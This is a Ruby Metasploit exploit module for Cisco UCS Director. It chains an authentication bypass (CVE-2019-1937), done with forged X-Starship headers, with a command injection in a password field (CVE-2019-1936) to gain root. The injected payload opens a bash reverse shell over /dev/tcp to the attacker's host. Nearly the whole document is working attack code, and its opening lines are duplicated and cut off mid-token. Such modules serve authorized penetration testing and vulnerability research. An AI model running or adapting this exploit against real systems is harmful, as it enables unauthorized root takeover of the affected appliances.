Cisco UCS Director Unauthenticated Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco UCS Director Unauthenticated Remote Code Execution',
'Description' => %q{
The Cisco UCS Director virtual appliance contains two flaws that can be combined
and abused by an attacker to achieve remote code execution as root.
The first one, CVE-2019-1937, is an authentication bypass, that allows the
attacker to authenticate as an administrator.
The second one, CVE-2019-1936, is a command injection in a password change form,
that allows the attacker to inject commands that will execute as root.
This module combines both vulnerabilities to achieve the unauthenticated command
injection as root.
It has been tested with Cisco UCS Director virtual machines 6.6.0 and 6.7.0.
Note that Cisco also mentions in their advisory that their IMC Supervisor and
UCS Director Express are also affected by these vulnerabilities, but this module
was not tested with those products.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-1937' ], # auth bypass
[ 'CVE', '2019-1936' ], # command injection
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-authby' ],
[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190821-imcs-ucs-cmdinj' ],
[ 'URL', 'FULL_DISC' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/cisco-ucs-rce.txt' ]
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' =>
{
'payload' => 'cmd/unix/reverse_bash',
},
'Targets' =>
[
[ 'Cisco UCS Director < 6.7.2.0', {} ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Aug 21 2019'
))

register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Connect with TLS', true]),
OptString.new('TARGETURI', [true, "Default server path", '/']),
])
end

def check
# can't think of anything better then this
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
'method' => 'GET'
})
if res and res.code == 302
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def exploit
# step 1: get a JSESSIONID cookie
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'login'),
'method' => 'GET'
)

if res and (res.code == 200 or res.code == 302)
jsession = res.get_cookies.split(';')[0]

# step 2: authenticate our cookie as admin
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
'cookie' => jsession,
'vars_get' =>
{
'apiName' => 'GetUserInfo'
},
'headers' =>
{
# X-Requested-With and Referer headers are needed, else the server ignores us
# The X-Starship headers are the key to this auth bypass vuln, see the References
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
'X-Starship-UserSession-Key' => "#{rand_text_alpha(5..12)}",
'X-Starship-Request-Key' => "#{rand_text_alpha(5..12)}"
},
'method' => 'GET'
})

if res and res.code == 200 and res.body.include?("admin")
if not res.get_cookies.empty?
# if the server returns a new cookie, use that
jsession = res.get_cookies.split(';')[0]
end
print_good("#{peer} - Successfully bypassed auth and got our admin JSESSIONID cookie!")

# step 3: request our reverse shell
payload = %{{"param0":"admin","param1":{"ids":null,"targetCuicId":null,"uiMenuTag":23,"cloudName":null,"filterId":null,"id":null,"type":10},"param2":"scpUserConfig","param3":[{"fieldId":"FIELD_ID_USERNAME","value":"scpuser"},{"fieldId":"FIELD_ID_DESCRIPTION","value":"The 'scpuser' will be configured on this appliance in order to enable file transfer operations via the 'scp' command. This user account cannot be used to login to the GUI or shelladmin."},{"fieldId":"FIELD_ID_PASSWORD","value":"`bash -i >& /dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']} 0>&1 &``"}]}}

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'app', 'ui', 'ClientServlet'),
'cookie' => jsession,
'headers' =>
{
# X-Requested-With and Referer headers are needed, else the server ignores us
# The X-Starship headers are the key to this auth bypass vuln, see the References
'X-Requested-With' => 'XMLHttpRequest',
'Referer' => "https://#{rhost}#{rport == 443 ? "" : ":" + rport}/",
},
'method' => 'POST',
'vars_post' =>
{
'formatType' => 'json',
'apiName' => 'ExecuteGenericOp',
'serviceName' => 'InfraMgr',
'opName' => 'doFormSubmit',
'opData' => payload
}
})
if res and res.code == 200
print_good("#{peer} - Shelly is here, press ENTER to start playing with her!")
end
else
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")
end
else
fail_with(Failure::Unknown, "#{peer} - Failed to obtain JSESSIONID cookie")
end
end
end
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